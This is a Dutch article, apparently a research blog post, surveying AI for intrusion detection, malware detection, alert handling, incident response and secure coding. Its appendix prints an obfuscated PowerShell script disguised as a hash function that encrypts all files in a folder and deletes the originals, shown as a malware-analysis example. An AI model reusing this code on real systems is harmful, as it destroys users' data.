<p>Er zijn veel leermethoden om uit te kiezen, maar volgens Appruzzese et al. <a href="#_ref11">[11]</a>, zijn unsupervised leermethoden bijzonder populair voor inbraakdetectiesystemen op communicatienetwerken vanwege de moeilijkheid en de kosten om gelabelde gegevens te verkrijgen. Bovendien is volgens deze auteurs de superioriteit van deep learning-netwerken voor inbraakdetectie in vergelijking met andere AI-technieken niet bewezen en rechtvaardigen de complexiteit en extra computerkosten niet noodzakelijk hun toepassing.</p>
<p>Hier volgen enkele voorbeelden van het gebruik van unsupervised technieken die worden gebruikt voor inbraakdetectie:</p>
<ul class="wp-block-list">
<li>Bohara et al. <a href="#_ref12">[12]</a> gebruiken verschillende anomaliedetectietechnieken, waaronder Principal Component Analysis (PCA), partitionering in -means en outlier-detectie op basis van de absolute mediaanafwijking om laterale<a href="#_ftn5" name="_ftnref5"><sup>5</sup></a> bewegingen in een netwerk te detecteren. De auteurs behaalden een <em>true positive rate</em> (TPR) van 88,7% en een <em>false positive rate</em> (FPR) van 14,1%.</li>
<li>In <a href="#_ref13">[13]</a>, presenteren de auteurs een methode voor het automatisch genereren van een grijze lijst van externe hosts die een hoge waarschijnlijkheid hebben om betrokken te zijn bij kwaadaardige taggingactiviteiten in verhouding tot de set van alle externe hosts waarmee de beschermde organisatie doorgaans contact opneemt. Hun voorstel is gebaseerd op clusteringstechnieken die worden toegepast op netwerkstromen.</li>
<li>Om het probleem van onevenwichtigheid tussen het aantal positieve en negatieve samples in inbraaklogs (doorgaans is er zeer weinig kwaadaardig verkeer in vergelijking met legitiem verkeer) aan te pakken, gebruiken Yang et al. <a href="#_ref14">[14]</a> een <em>Deep Convolutional Generative Adversarial Network</em> (DCGAN) om een realtime inbraakdetectiesysteem te bouwen. DCGAN houdt een balans tussen positieve en negatieve samples door nieuwe synthetische data te genereren. Om realtime analyse mogelijk te maken, gebruiken de auteurs <em>Gates Recurrent Units</em> (GRU), die efficiënter zijn dan een Long and <em>Short Term Memory</em> (LSTM) recurrent netwerk omdat ze minder parameters gebruiken. Het systeem bereikt een nauwkeurigheid van 99,73%.</li>
</ul>
<p>Tot slot zijn er ook tools op basis van LLM&#8217;s verschenen voor inbraakdetectie. De PentestGPT<a href="#_ftn6" name="_ftnref6"><sup>6</sup></a> tool is bijvoorbeeld een door LLM (in dit geval ChatGPT-4) geoptimaliseerde tool voor het testen van inbraken  die het testen van inbraken automatiseert door testers door de algemene werking en specifieke bewerkingen te leiden. PentestGPT is met succes getest op HackTheBox<a href="#_ftn7" name="_ftnref7"><sup>7</sup></a> en via verschillende Capture the Flag (CTF)-competities op eenvoudige en gemiddelde niveaus.</p>
<h2 class="wp-block-heading">Malware detecteren</h2>
<p>Machine learning kan worden gebruikt voor zowel statische als dynamische analyse van malware. Statische analyse is echter onderhevig aan relatief eenvoudige workarounds door de executable aan te passen zonder de onderliggende logica te veranderen of met meer geavanceerde varianten (bijv. polymorfisme) die de executable automatisch aanpassen.</p>
<p>Dynamische analyse in combinatie met machine learning is effectiever <a href="#_ref11">[11]</a>. Maar er zijn verschillende beperkingen voor de toepasbaarheid van de nieuwste academische ontwikkelingen op het gebied van machine learning voor de detectie van malware <a href="#_ref15">[15]</a>, waaronder:</p>
<ul class="wp-block-list">
<li>Misinterpretatie van de prestatiemeting, deels door het vergeten van de basisfrequentie &#8211; een cognitieve bias gekoppeld aan statistische wetten <a href="#_ftn8" name="_ftnref8"><sup>8</sup></a>;</li>
<li>Testdatabases zijn vaak enkele jaren oud en houden daarom geen rekening met de nieuwe bypassmethoden die worden geïmplementeerd door tegenstanders, of met de nieuwe programmeerinterfaces die beschikbaar zijn. Volgens <a href="#_ref16">[16]</a>, maakt een groot aantal recente onderzoeken naar federated learning voor inbraakdetectie nog steeds gebruik van publieke databases die voor 2017 zijn gemaakt, en dus met aanvallen die niet noodzakelijk de huidige communicatienetwerken weerspiegelen.</li>
</ul>
<h2 class="wp-block-heading">Alert management</h2>
<p>Het sorteren van beveiligingsalerts is een relatief tijdrovende taak, maar het kan worden versneld door contextuele informatie beschikbaar te maken voor analisten, zodat ze niet van de ene logging- of analysetool naar de andere hoeven te springen om te begrijpen wat er aan de hand is. Bijvoorbeeld: geolocatie van een IP-adres, naam van de organisatie die het IP beheert, leeftijd van het domein, reputatie van de hashwaarde van een bestand, type van het overeenkomstige bestand, automatische schermafbeelding van een URL, informatie over de host en zijn omgeving, enz. Deze alerts kunnen ook direct worden verrijkt door een LLM (bijv. categorisering, information issue van gespecialiseerde inlichtingendiensten, risicoscore).</p>
<p>Daarnaast kunnen machine-learningtechnieken worden gebruikt om waarschuwingen te filteren, te sorteren, te prioriteren en te aggregeren om triage en incidentrespons te vergemakkelijken. Su et al. <a href="#_ref17">[17]</a> stellen bijvoorbeeld een methode voor om fout-positieve filtering te automatiseren met behulp van kernel density estimation (KDE)<a href="#_ftn9" name="_ftnref9"><sup>9</sup></a>. Volgens de auteurs vermindert dit de tijd die nodig is om alerts te controleren met 75%.</p>
<h1 class="wp-block-heading">Reageren op cybersecurityincidenten</h1>
<p>De reactie op incidenten is een belangrijk onderdeel van de cybersecuritystrategie van een organisatie. Een goed voorbereide reactie kan de schade van een veiligheidsinbreuk of een cyberaanval helpen beperken. De snelheid en nauwkeurigheid van deze reacties is echter van het grootste belang. LLM&#8217;s kunnen helpen deze processen te versnellen en te stroomlijnen, door geautomatiseerde reacties te geven en zelfs te helpen bij het ontwikkelen van incident response plannen. Een van de kenmerken van de LLM-architectuur is de mogelijkheid om natuurlijke, contextgebaseerde tekst te genereren. Dit kan worden gebruikt om een AI-gestuurde assistent voor incidentrespons te maken, die tijdens een incident direct advies kan geven en gebeurtenissen automatisch kan documenteren terwijl ze zich voordoen. PaloAlto XSOAR<a href="#_ftn10" name="_ftnref10"><sup>10</sup></a> gebruikt bijvoorbeeld ChatGPT om handleidingen te genereren voor het omgaan met bepaalde aanvallen (zie Figuur 1).</p>
<table class=" aligncenter" style="width: 80%; background-color: #a0a0a0; border-style: solid;" cellpadding="5">
    <tbody>
    <tr>
    <td>
    <p>Dear Analyst,</p>
    <p>The following is an analysis for Incident No. #3332 by ChatGPT:</p>
    <p><strong>1- Analysis (Incident Description):</strong></p>
    <p>On Tuesday 2023-May-09 at 12:46:03 PM, a workstation with the hostname &#8220;testlab&#8221; was compromised through the MitreAttack technique of OS Credential Dumping by the Poseidon Group. The indicator of compromise, 31ebide7840a342fd468e558e5ab627bcb4c542a8fe01aec4d5ba01d539aOfc, has a malicious reputation.</p>
    <p><strong>2- Impact Analysis:</strong></p>
    <p>The compromised workstation may have granted the attacker access to sensitive information and credentials on the network, which could potentially lead to further attacks and data breaches. The Poseidon Group is a known advanced persistent threat (APT) group, and their attacks are often highly targeted and sophisticated, making it imperative to respond quickly and effectively to mitigate potential damage.</p>
    <p><strong>3- Action or Recommendations:</strong></p>
    <ol style="list-style-type: lower-alpha;">
    <li>Isolate the compromised workstation: The first step in responding to a security incident is to isolate the compromised system from the network to prevent further damage or spread of the attack. The compromised workstation with the IP address 10.10.10.10 should be taken offline immediately to prevent the attacker from further accessing or exfiltrating sensitive information.</li>
    <li>Conduct a forensic investigation: A thorough forensic investigation should be conducted to determine the extent of the damage and whether any other machines on the network have been compromised. The investigation should aim to identify the initial point of entry, the scope of the attack, and any data that may have been exfiltrated by the attacker.</li>
    <li>Remediate and patch vulnerabilities: The investigation should identify any vulnerabilities or weaknesses in the security infrastructure that allowed the attack to take place and patch or remediate these as quickly as possible to prevent similar incidents from occurring in the future.</li>
    <li>Deploy additional security measures: Additional security measures may need to be deployed to prevent further attacks by the Poseidon Group or other APT groups. This may include deploying intrusion detection and prevention systems, implementing Two-Factor Authentication (2FA), and training employees on how to identify and respond to potential security incidents.</li>
    <li>Notify appropriate authorities: Depending on the sensitivity and nature of the data that may have been compromised, it may be necessary to notify appropriate authorities such as law enforcement or regulatory bodies.</li>
    </ol>
    <p>The company should review their incident response plan and determine the appropriate steps to take regarding notification and disclosure.</p>
    <p>&#8212;<br />Your SOC Team<br />Cortex XSOAR</p>
    </td>
    </tr>
    </tbody>
    </table>
<p><em>Figuur 1 &#8211; Door XSOAR voorgestelde informatie om een reactie op een beveiligingsincident te beheren (uit <a href="#_ref18">[18]</a>).</em></p>
<p>Ferrag et al. <a href="#_ref19">[19]</a> gebruiken FalconLLM<a href="#_ftn11" name="_ftnref11"><sup>11</sup></a> om de ernst en potentiële impact te analyseren van een aanval die is geïdentificeerd door een inbraakdetectiesysteem door deze te vergelijken met de interne database. Op een vergelijkbare manier als PaloAlto XSOAR kan de tool ook suggesties doen voor mogelijke mitigatiestrategieën en herstelprocedures, die als leidraad kunnen dienen voor een responsteam. De voorgestelde antwoorden blijven echter erg algemeen en zijn mogelijk niet bruikbaar voor een ervaren beheerder (zie Figuur 2).</p>
<table class=" aligncenter" style="width: 80%; background-color: #a0a0a0; border-style: solid;" cellpadding="5">
    <tbody>
    <tr>
    <td style="width: 100%;">
    <p><strong>Cyber Threats detected by SecurityBERT:</strong></p>
    <p>SecurityBERT has detected a cyber threat in our industrial network: a Backdoor attack. Can you propose to me a mitigation solution?</p>
    <p><strong>FalconLLM model incident response and recovery output:</strong></p>
    <p>Yes, I can. There are a few steps that can be taken to mitigate the Backdoor threat. Firstly, it&#8217;s important to identify the source of the attack. This could be done by monitoring the network traffic and looking for any suspicious activity. Once the source has been identified, it&#8217;s important to block any further attempts to access the network. This can be done by implementing firewalls, intrusion detection systems, and other security measures. Additionally, it&#8217;s important to update all software and patches to ensure that the network is as secure as possible. It&#8217;s also a good idea to regularly audit the network for any potential vulnerabilities.</p>
    </td>
    </tr>
    </tbody>
    </table>
<p><em>Figuur 2 – voorbeeld van een door FalconLLM voorgestelde risicobeperkende strategie (bron <a href="#_ref19">[19]</a>).</em></p>
<p>Generatieve AI kan ook worden gebruikt om bepaalde aspecten van de analyse van cyberincidenten door analisten in een veiligheidsoperatiecentrum te automatiseren. Volgens A. Krishnan <a href="#_ref20">[20]</a> kan ChatGPT bijvoorbeeld worden gebruikt om te beschrijven wat een Powershellscript doet (zie voorbeeld in bijlage). Op dezelfde manier zouden deze tools, omdat ze ook code kunnen genereren, gebruikt kunnen worden om het voor analisten eenvoudiger te maken om loganalysescripts te schrijven (zie bijlage).</p>
<p>De automatisering van de incidentrespons wordt ook overwogen, maar een groot probleem blijft de toewijzing van de verantwoordelijkheid. Dit wordt nog bemoeilijkt door het feit dat AI-systemen tot nu toe niet erg transparant en moeilijk uit te leggen zijn.</p>
<p>Tot slot spelen gedetailleerde rapporten over cybersecurity-incidenten een belangrijke rol bij het helpen van belangrijke stakeholders, waaronder operationele beveiligingsteams en beveiligingsmanagers, om de beveiligingshuishouding van een organisatie beter te begrijpen en te verbeteren. Sommigen overwegen het gebruik van generatieve AI om logs van incidenten te synthetiseren en rapporten te schrijven om sneller actie te kunnen ondernemen.</p>
<h1 class="wp-block-heading">Veilig code genereren</h1>
<p>Kwetsbaarheden in code zijn een terugkerend probleem dat de meeste software treft en een impact heeft op integriteit, vertrouwelijkheid en beschikbaarheid. Er wordt aangeraden om bepaalde programmeertalen te gebruiken waarvan bekend is dat ze minder gevoelig zijn voor klassieke problemen dan andere (bijv. Rust in plaats van C). Code review door andere expertprogrammeurs is ook een veelgebruikte methode.</p>
<p>Maar de analyse van Ganseman <a href="#_ref21">[21]</a> roept de vraag op of LLM&#8217;s nuttig zijn om fouten of bugs in bestaande code op te sporen of om te helpen veiligere code te schrijven. De moeilijkheid ligt in het feit dat het voorlopig nodig is om de mogelijke plaatsen aan te geven waar de code niet veilig is, dat wil zeggen dat het aan de ontwikkelaar is om te detecteren waar een verbetering mogelijk is. Het kan zijn dat in de nabije toekomst een hele code base aan een security review kan worden onderworpen, maar op dit moment is dit beperkt tot de lengte van de context en hoe preciezer de vraag, hoe beter het antwoord.</p>
<p>Paradoxaal genoeg rapporteerden Perry et al. <a href="#_ref22">[22]</a> in een recent onderzoek dat, hoewel assistenten de productiviteit van ontwikkelaars verhogen, deelnemers met toegang tot een assistent gebaseerd op een AI-model (in dit geval OpenAI&#8217;s <em>codex-davinci-002</em>) significant minder veilige code schreven dan degenen zonder toegang. Erger nog, deelnemers met toegang tot de assistent geloofden vaker dat ze veilige code schreven dan deelnemers zonder toegang. Het gebruik van wizards vereist daarom de implementatie van systematische codecontrole en statische analyse <a href="#_ref21">[21]</a>.</p>
<h1 class="wp-block-heading">Conclusie</h1>
<p>Hoewel AI op veel gebieden bliksemsnelle vooruitgang boekt, is de niet te verwaarlozen bijdrage ervan aan de verdediging van IT-systemen nog steeds beperkt: we zijn nog ver verwijderd van tools waarmee het voldoende zou zijn om terabytes aan eventlogs aan te bieden om tekenen van inbraak snel en met weinig fouten te detecteren.</p>
<p>Vandaag de dag wordt er nog steeds veel onderzoek gedaan naar gespecialiseerde statistische en machine learning methoden &#8211; zoals anomaliedetectie &#8211; en worden deze toegevoegd aan commerciële tools voor inbraakdetectie met het label “AI”. Maar bij nader inzien blijkt AI vooral een nieuwe ‘productiviteitstool’ te zijn voor cybersecurityprofessionals, die helpt bij het automatiseren van bepaalde cyberdefensietaken of bij het faciliteren van incidentrespons en die de verwerking van informatie over bedreigingen vergemakkelijkt, maar niet de menselijke analist vervangt.</p>
<h1 class="wp-block-heading">Referenties</h1>
<p><a name="_ref1"></a>[1]        B. Schneier, ‘Artificial Intelligence and the Attack/Defense Balance’, <em>IEEE Secur. Priv.</em>, vol. 16, nr. 2, pp. 96-96, mrt. 2018, doi: <a href="https://doi.org/10.1109/MSP.2018.1870857" target="_blank" rel="noopener noopnener">10.1109/MSP.2018.1870857</a></p>
<p><a name="_ref2"></a>[2]        I. H. Sarker, H. Janicke, L. Maglaras, en S. Camtepe, ‘Data-Driven Intelligence can Revolutionize Today’s Cybersecurity World: A Position Paper’. arXiv, 9 augustus 2023. Geraadpleegd: 27 oktober 2023. [Online]. Beschikbaar op: <a href="https://arxiv.org/abs/2308.05126" target="_blank" rel="noopener noopnener">http://arxiv.org/abs/2308.05126</a></p>
<p><a name="_ref3"></a>[3]        J. D’Hoinne, A. Litan, en P. Firstbrook, ‘4 Ways Generative AI Will Impact CISOs and Their Teams’, Gartner, G00793265, jun. 2023.</p>
<p><a name="_ref4"></a>[4]        M. Taddeo, T. McCutcheon, en L. Floridi, ‘Trusting artificial intelligence in cybersecurity is a double-edged sword’, <em>Nat. Mach. Intell.</em>, vol. 1, nr. 12, pp. 557-560, nov. 2019, doi: <a href="https://doi.org/10.1038/s42256-019-0109-1" target="_blank" rel="noopener noopnener">10.1038/s42256-019-0109-1</a></p>
<p><a name="_ref5"></a>[5]        D. Dasgupta, Z. Akhtar, en S. Sen, ‘Machine learning in cybersecurity: a comprehensive survey’, <em>J. Def. </em><em>Model. Simul. Appl. Methodol. Technol.</em>, vol. 19, nr. 1, pp. 57-106, jan. 2022, doi: <a href="https://doi.org/10.1177/1548512920951275" target="_blank" rel="noopener noopnener">10.1177/1548512920951275</a></p>
<p><a name="_ref6"></a>[6]        M. Nouh, J. R. C. Nurse, H. Webb, en M. Goldsmith, ‘Cybercrime Investigators are Users Too! Understanding the Socio-Technical Challenges Faced by Law Enforcement’, in <em>Proceedings 2019 Workshop on Usable Security</em>, 2019. doi: <a href="https://doi.org/10.14722/usec.2019.23032" target="_blank" rel="noopener noopnener">10.14722/usec.2019.23032</a></p>
<p><a name="_ref7"></a>[7]        J. R. G. Evangelista, R. J. Sassi, M. Romero, en D. Napolitano, ‘Systematic Literature Review to Investigate the Application of Open Source Intelligence (OSINT) with Artificial Intelligence’, <em>J. Appl. Secur. Res.</em>, vol. 16, nr. 3, pp. 345-369, jul. 2021, doi: <a href="https://doi.org/10.1080/19361610.2020.1761737" target="_blank" rel="noopener noopnener">10.1080/19361610.2020.1761737</a></p>
<p><a name="_ref8"></a>[8]        M. Sewak, V. Emani, en A. Naresh, ‘CRUSH: Cybersecurity Research using Universal LLMs and Semantic Hypernetworks’, 2023.</p>
<p><a name="_ref9"></a>[9]        K. A. Scarfone en P. M. Mell, ‘Guide to intrusion detection and prevention systems (IDPS)’, National Institute of Standards and Technology, Gaithersburg, MD, NIST SP 800-94, 2007. doi: <a href="https://doi.org/10.6028/NIST.SP.800-94" target="_blank" rel="noopener noopnener">10.6028/NIST.SP.800-94</a></p>
<p><a name="_ref10"></a>[10]      D. Denning, ‘An Intrusion-Detection Model’, <em>IEEE Trans. </em><em>Softw. Eng.</em>, vol. 13, nr. 2, pp. 222-232, 20.</p>
<p><a name="_ref11"></a>[11]      G. Apruzzese <em>e.a.</em>, ‘The role of machine learning in cybersecurity’, <em>Digit. Threats Res. Pract.</em>, vol. 4, nr. 1, pp. 1-38, mrt. 2023, doi: <a href="https://doi.org/10.1145/3545574" target="_blank" rel="noopener noopnener">10.1145/3545574</a></p>
<p><a name="_ref12"></a>[12]      A. Bohara, M. A. Noureddine, A. Fawaz, en W. H. Sanders, ‘An Unsupervised Multi-Detector Approach for Identifying Malicious Lateral Movement’, in <em>2017 IEEE 36th Symposium on Reliable Distributed Systems (SRDS)</em>, Hong Kong, Hong Kong: IEEE, sep. 2017, pp. 224-233. doi: <a href="https://doi.org/10.1109/SRDS.2017.31" target="_blank" rel="noopener noopnener">10.1109/SRDS.2017.31</a></p>
<p><a name="_ref13"></a>[13]      G. Apruzzese, M. Marchetti, M. Colajanni, G. G. Zoccoli, en A. Guido, ‘Identifying malicious hosts involved in periodic communications’, in <em>2017 IEEE 16th International Symposium on Network Computing and Applications (NCA)</em>, Cambridge, MA: IEEE, okt. 2017, pp. 1-8. doi: <a href="https://doi.org/10.1109/NCA.2017.8171326" target="_blank" rel="noopener noopnener">10.1109/NCA.2017.8171326</a></p>
<p><a name="_ref14"></a>[14]      J. Yang, T. Li, G. Liang, W. He, en Y. Zhao, ‘A Simple Recurrent Unit Model Based Intrusion Detection System With DCGAN’, <em>IEEE Access</em>, vol. 7, pp. 83286-83296, 2019, doi: <a href="https://doi.org/10.1109/ACCESS.2019.2922692" target="_blank" rel="noopener noopnener">10.1109/ACCESS.2019.2922692</a></p>
<p><a name="_ref15"></a>[15]      L. Cavallaro, J. Kinder, F. Pendlebury, en F. Pierazzi, ‘Are Machine Learning Models for Malware Detection Ready for Prime Time?’, <em>IEEE Secur. Priv.</em>, vol. 21, nr. 2, pp. 53-56, mrt. 2023, doi: <a href="https://doi.org/10.1109/MSEC.2023.3236543" target="_blank" rel="noopener noopnener">10.1109/MSEC.2023.3236543</a></p>
<p><a name="_ref16"></a>[16]      J. L. Hernández-Ramos <em>e.a.</em>, ‘Intrusion detection based on federated learning: a systematic review’. arXiv, 18 augustus 2023. Geraadpleegd: 17 oktober 2023. [Online]. Beschikbaar op: <a href="https://arxiv.org/abs/2308.09522" target="_blank" rel="noopener noopnener">http://arxiv.org/abs/2308.09522</a></p>
<p><a name="_ref17"></a>[17]      Y.-H. Su, M. C. Y. Cho, en H.-C. Huang, ‘False Alert Buster: an Adaptive Approach for NIDS False Alert Filtering’, in <em>Proceedings of the 2nd International Conference on Computing and Big Data</em>, Taichung Taiwan: ACM, okt. 2019, pp. 58-62. doi: <a href="https://doi.org/10.1145/3366650.3366657" target="_blank" rel="noopener noopnener">10.1145/3366650.3366657</a></p>
<p><a name="_ref18"></a>[18]      M. Gupta, C. Akiri, K. Aryal, E. Parker, en L. Praharaj, ‘From ChatGPT to ThreatGPT: Impact of generative AI in cybersecurity and privacy’, <em>IEEE Access</em>, vol. 11, pp. 80218-80245, aug. 2023, doi: <a href="https://doi.org/10.1109/ACCESS.2023.3300381" target="_blank" rel="noopener noopnener">10.1109/ACCESS.2023.3300381</a></p>
<p><a name="_ref19"></a>[19]      M. A. Ferrag, M. Ndhlovu, N. Tihanyi, L. C. Cordeiro, M. Debbah, en T. Lestable, ‘Revolutionizing Cyber Threat Detection with Large Language Models’. arXiv, 25 juni 2023. Geraadpleegd: 8 november 2023. [Online]. Beschikbaar op: <a href="https://arxiv.org/abs/2306.14263" target="_blank" rel="noopener noopnener">http://arxiv.org/abs/2306.14263</a></p>
<p><a name="_ref20"></a>[20]      A. Krishnan, ‘4 ChatGPT cybersecurity benefits for the enterprise | TechTarget’, Security. Geraadpleegd: 12 oktober 2023. [Online]. Beschikbaar op: <a href="https://www.techtarget.com/searchsecurity/tip/ChatGPT-cybersecurity-benefits-for-the-enterprise" target="_blank" rel="noopener noopnener">https://www.techtarget.com/searchsecurity/tip/ChatGPT-cybersecurity-benefits-for-the-enterprise</a></p>
<p><a name="_ref21"></a>[21]      J. Ganseman, ‘LLM pour code : the Good, the Bad and the Ugly | Smals Research’, Smals Research Blog. Geraadpleegd: 18 oktober 2023. [Online]. Beschikbaar op: <a href="/llms-pour-code/" target="_blank" rel="noopener noopnener">/llms-pour-code/</a></p>
<p><a name="_ref22"></a>[22]      N. Perry, M. Srivastava, D. Kumar, en D. Boneh, ‘Do Users Write More Insecure Code with AI Assistants?’ arXiv, 16 december 2022. Geraadpleegd: 3 oktober 2023. [Online]. Beschikbaar op: <a href="https://arxiv.org/abs/2211.03622" target="_blank" rel="noopener noopnener">http://arxiv.org/abs/2211.03622</a></p>
<h1 class="wp-block-heading">Bijlage 1 – Kwaadaardige scriptanalyse met ChatGPT</h1>
<p>In het onderstaande voorbeeld zie je het antwoord van ChatGPT 4.0 op de vraag “Wat doet deze code?” gevolgd door een codevoorbeeld. Ondanks de poging tot verduistering en het foutieve commentaar, kan worden gezien dat ChatGPT dit script, dat alle bestanden in de map “<code>C:\local\chat_gpt_ps\test</code>” en de submappen versleutelt, correct analyseert.</p>
<h2 class="wp-block-heading">Script ingevoerd in ChatGPT</h2>
<div>
<pre><code><span style="color: #0000ff;">function </span><span style="color: #795e00;">Compute_SHA256 </span>{</code><br /><code>    <span style="color: #008000;"># Compute SHA 256 of an object in memory</span></code><br /><code>    [<span style="color: #795e00;">CmdletBinding</span>()]</code><br /><code>    [<span style="color: #795e00;">OutputType</span>([<span style="color: #0000ff;">string</span>])]</code><br /><code>    <span style="color: #af00db;">Param</span></code><br /><code>    (</code><br /><code>        [<span style="color: #795e00;">Parameter</span>(<span style="color: #001080;">Mandatory </span>= <span style="color: #0000ff;">$true</span>)]</code><br /><code>        [<span style="color: #0000ff;">String</span>]<span style="color: #001080;">$salt</span>,</code><br /><code>        [<span style="color: #795e00;">Parameter</span>(<span style="color: #001080;">Mandatory </span>= <span style="color: #0000ff;">$true</span>, <span style="color: #001080;">ParameterSetName </span>= <span style="color: #a31515;">"param"</span>)]</code><br /><code>        [<span style="color: #0000ff;">String</span>]<span style="color: #001080;">$object</span></code><br /><code>    )</code><br /><code>    <span style="color: #af00db;">Begin</span> {</code><br /><code>        <span style="color: #008000;"># Initialise hashing function</span></code><br /><code>        <span style="color: #001080;">$tmp</span> = <span style="color: #795e00;">New-Object</span> byte[] <span style="color: #008000;">16</span></code><br /><code>        <span style="color: #001080;">$sha1</span> = <span style="color: #795e00;">New-Object</span> System.Security.Cryptography.SHA256Managed</code><br /><code>        <span style="color: #001080;">$sha2</span> = <span style="color: #795e00;">New-Object</span> System.Security.Cryptography.AesManaged</code><br /><code>        <span style="color: #001080;">$sha2</span><span style="color: #795e00;">.Mode</span> = <span style="color: #a31515;">'CBC'</span> -as [<span style="color: #0000ff;">System.Security.Cryptography.CipherMode</span>]</code><br /><code>        <span style="color: #001080;">$sha2</span><span style="color: #795e00;">.Padding</span> = <span style="color: #a31515;">'Zeros'</span> -as [<span style="color: #0000ff;">System.Security.Cryptography.PaddingMode</span>]</code><br /><code>        <span style="color: #001080;">$sha2</span><span style="color: #795e00;">.BlockSize</span> = <span style="color: #008000;">128</span></code><br /><code>        <span style="color: #001080;">$sha2</span><span style="color: #795e00;">.KeySize</span> = <span style="color: #008000;">256</span></code><br /><code>        [<span style="color: #0000ff;">void</span>][<span style="color: #0000ff;">Security.Cryptography.RNGCryptoServiceProvider</span>]::Create().GetBytes($tmp)</code><br /><code>        <span style="color: #001080;">$sha2</span><span style="color: #795e00;">.IV</span> = <span style="color: #001080;">$tmp</span></code><br /><code>    }</code><br /><code>    <span style="color: #af00db;">Process</span> {</code><br /><code>        <span style="color: #008000;"># Compute hash</span></code><br /><code>        <span style="color: #001080;">$sha2</span><span style="color: #795e00;">.Key</span> = <span style="color: #001080;">$sha1</span><span style="color: #795e00;">.ComputeHash</span>([<span style="color: #0000ff;">System.Text.Encoding</span>]::UTF8.GetBytes($salt))</code><br /><code>        <span style="color: #001080;">$dynCmd</span> = [<span style="color: #0000ff;">System.Text.Encoding</span>]::UTF8.GetString([<span style="color: #0000ff;">Convert</span>]::FromBase64String(<span style="color: #a31515;">"R2V0LUl0ZW0gLVBhdGggJG9iamVjdCAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ=="</span>))</code><br /><code>        <span style="color: #001080;">$object2</span> = <span style="color: #795e00;">Invoke-Expression</span> <span style="color: #001080;">$dynCmd</span></code><br /><code>        <span style="color: #af00db;">if</span> (!<span style="color: #001080;">$object2</span><span style="color: #795e00;">.FullName</span>) {</code><br /><code>            <span style="color: #af00db;">break</span></code><br /><code>        }</code><br /><code>        <span style="color: #001080;">$dynCmd</span> = [<span style="color: #0000ff;">System.Text.Encoding</span>]::UTF8.GetString([<span style="color: #0000ff;">Convert</span>]::FromBase64String(<span style="color: #a31515;">"W1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbEJ5dGVzKCRvYmplY3QyLkZ1bGxOYW1lKQ=="</span>))</code><br /><code>        <span style="color: #001080;">$input</span> = <span style="color: #795e00;">Invoke-Expression</span> <span style="color: #001080;">$dynCmd</span></code><br /><code>        <span style="color: #001080;">$output</span> = <span style="color: #001080;">$object2</span><span style="color: #795e00;">.FullName</span> + <span style="color: #a31515;">".xxx"</span></code><br /><code>        <span style="color: #001080;">$sha2_hasher</span> = <span style="color: #001080;">$sha2</span><span style="color: #795e00;">.CreateEncryptor</span>()</code><br /><code>        <span style="color: #001080;">$encryptedBytes</span> = <span style="color: #001080;">$sha2_hasher</span><span style="color: #795e00;">.TransformFinalBlock</span>($input, 0, $input.Length)</code><br /><code>        <span style="color: #001080;">$encryptedBytes</span> = <span style="color: #001080;">$sha2</span><span style="color: #795e00;">.IV</span> + <span style="color: #001080;">$encryptedBytes</span></code><br /><code>        <span style="color: #001080;">$sha2</span><span style="color: #795e00;">.Dispose</span>()</code><br /><code>       </code><br /><code>        <span style="color: #001080;">$e</span> = <span style="color: #001080;">$output</span></code><br /><code>        <span style="color: #001080;">$encD</span> = <span style="color: #001080;">$encryptedBytes</span></code><br /><code>        <span style="color: #001080;">$dynCmd</span> = [<span style="color: #0000ff;">System.Text.Encoding</span>]::UTF8.GetString([<span style="color: #0000ff;">Convert</span>]::FromBase64String(<span style="color: #a31515;">"W1N5c3RlbS5JTy5GaWxlXTo6V3JpdGVBbGxCeXRlcygkZSwgJGVuY0Qp"</span>))</code><br /><code>        <span style="color: #795e00;">Invoke-Expression</span> <span style="color: #001080;">$dynCmd</span></code><br /><code>        (<span style="color: #795e00;">Get-Item</span> <span style="color: #001080;">$output</span>).LastWriteTime = $object2<span style="color: #795e00;">.LastWriteTime</span></code><br /><code>        <span style="color: #001080;">$f</span> = <span style="color: #001080;">$object2</span></code><br /><code>        <span style="color: #001080;">$dynCmd</span> = [<span style="color: #0000ff;">System.Text.Encoding</span>]::UTF8.GetString([<span style="color: #0000ff;">Convert</span>]::FromBase64String(<span style="color: #a31515;">"UmVtb3ZlLUl0ZW0gLVBhdGgg"</span>)) + <span style="color: #a31515;">"'</span><span style="color: #001080;">$f<span style="color: #a31515;">'"</span></span></code><br /><code>        <span style="color: #795e00;">Invoke-Expression</span> <span style="color: #001080;">$dynCmd</span></code><br /><code>        <span style="color: #af00db;">return</span> <span style="color: #a31515;">"Sortie:</span> <span style="color: #001080;">$output</span><span style="color: #a31515;">"</span>        </code><br /><code>    }</code><br /><code>    <span style="color: #af00db;">End</span> {</code><br /><code>        <span style="color: #001080;">$sha1</span><span style="color: #795e00;">.Dispose</span>()</code><br /><code>        <span style="color: #001080;">$sha2</span><span style="color: #795e00;">.Dispose</span>()</code><br /><code>    }</code><br /><code>}</code><br /><br /><code><span style="color: #001080;">$dynCmd</span> = [<span style="color: #0000ff;">System.Text.Encoding</span>]::UTF8.GetString([<span style="color: #0000ff;">Convert</span>]::FromBase64String(<span style="color: #a31515;">"R2V0LUNoaWxkSXRlbSAtUGF0aCAiQzpcTG9jYWxcY2hhdF9ncHRfcHNcdGVzdCIgLUZpbGUgLVJlY3Vyc2U="</span>))<br /></code><br /><code><span style="color: #795e00;">Invoke-Expression</span> <span style="color: #001080;">$dynCmd</span> | <span style="color: #795e00;">ForEach-Object</span> {</code><br /><code>    <span style="color: #001080;">$object</span> = <span style="color: #001080;">$_</span><span style="color: #795e00;">.FullName</span></code><br /><code>    Compute_SHA256 -salt <span style="color: #a31515;">"salty"</span> -object <span style="color: #001080;">$object</span></code><br /><code>}</code></pre>
</div>
<h2 class="wp-block-heading">Antwoord van ChatGPT</h2>
<p>Deze PowerShell-scriptfunctie, <strong>Compute_SHA256</strong>, lijkt de functionaliteit te hebben om bestanden op een bepaalde locatie te versleutelen met SHA256 en AES encryptie, en vervolgens de originele bestanden te verwijderen. Hier is een uitleg van de verschillende onderdelen van de functie:</p>
<ol class="wp-block-list">
<li><strong>Functieparameters</strong>: De functie vereist twee parameters: salt, een zoutwaarde die gebruikt wordt voor hashing, en object, een pad naar een bestand dat verwerkt moet worden.</li>
<li><strong>Initialisatie</strong>:
<ul class="wp-block-list">
<li>New-Object byte[] 16: Een array van 16 bytes wordt gecreëerd voor gebruik als initialisatievector (IV).</li>
<li>SHA256Managed: Een instance van SHA256 wordt gecreëerd voor hashing.</li>
